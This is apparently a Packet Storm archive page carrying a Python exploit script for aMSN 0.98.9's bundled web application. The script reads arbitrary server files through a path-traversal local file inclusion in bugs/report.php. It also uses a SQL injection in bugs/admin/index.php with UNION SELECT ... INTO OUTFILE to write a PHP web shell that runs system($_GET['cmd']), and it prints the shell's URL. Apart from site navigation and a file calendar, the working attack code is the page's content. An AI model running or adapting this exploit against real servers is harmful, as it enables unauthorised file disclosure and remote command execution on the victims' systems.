exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

aMSN 0.98.9 Local File Inclusion / SQL Injection

aMSN 0.98.9 Local File Inclusion / SQL Injection
Posted Oct 14, 2013
Authored by drone

aMSN version 0.98.9 suffers from local file inclusion and remote SQL injection vulnerabilities.

tags | exploit, remote, local, vulnerability, sql injection, file inclusion
SHA-256 | 139d345468fde77a4b91ccbd0e3b2625bfaeb5e36d34915fa821a8700d4bfe52

aMSN 0.98.9 Local File Inclusion / SQL Injection

Change Mirror Download
# Exploit Title: aMSN LFI/SQLi
# Date: 10/09/2013
# Exploit author: drone (@dronesec)
# Vendor homepage: http://www.amsn-project.net
# Software link: sourceforge.net/projects/amsn/files/amsn/0.98.9/aMSN-0.98.9-tcl85-windows-installer.exe
# Version: 0.98.9
# Fixed in: SVN repositories (r12422)
# Tested on: Ubuntu 12.04 (apparmor disabled)

from argparse import ArgumentParser
import urllib2
import string
import random

"""
Preauth LFI and SQLi in the web app packaged with aMSN 0.98.9
"""

def lfi(options):
""" exploit the LFI
"""
addr = 'http://{0}{1}/bugs/report.php?lang=../../../../../{2}'.format(\
options.ip, options.root, options.lfi)
data = urllib2.urlopen(addr).read().rstrip().split("ERROR")[0]
print data

def run(options):
""" exploit lfi or sqli
"""
if options.lfi:
return lfi(options)

shell = ''.join(random.choice(string.ascii_lowercase + string.digits) for x in range(5))
sqli = 'http://{0}{1}/bugs/admin/index.php?show=bug&id='.format(options.ip, options.root)

# ' UNION SELECT '<?php system($_GET['cmd']) ?>,2,3,4,5,6,7,8,9 INTO OUTFILE 'yourshell';-- -
exploit = '1\'%20UNION%20SELECT%20\'<?php%20system($_GET[\\\'cmd\\\'])?>\',2,3,4,5,6,7,8,9%20'\
'INTO%20OUTFILE%20\'{0}/{1}.php\';%20--%20-%20'.format(options.path,shell)

urllib2.urlopen(sqli + exploit)
print '[!] Shell dropped. http://%s%s/%s.php?cmd=ls' % (options.ip, options.root, shell)

def parse_args():
parser = ArgumentParser()
parser.add_argument("-i", help='Server address', action='store', dest='ip', required=True)
parser.add_argument('-l', help='Local file inclusion', action='store', dest='lfi',
metavar='[file]')
parser.add_argument('-p', help='Path to amsn [/amsn]', action='store', dest='root',
default='/amsn')
parser.add_argument('-w', help='Path to drop shell [/var/www/amsn', dest='path',
default='/var/www/amsn')

options = parser.parse_args()
options.path = options.path if options.path[-1] != '/' else options.path[:-1]
options.root = options.root if options.root[-1] != '/' else options.root[:-1]
return options

if __name__ == "__main__":
run(parse_args())


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close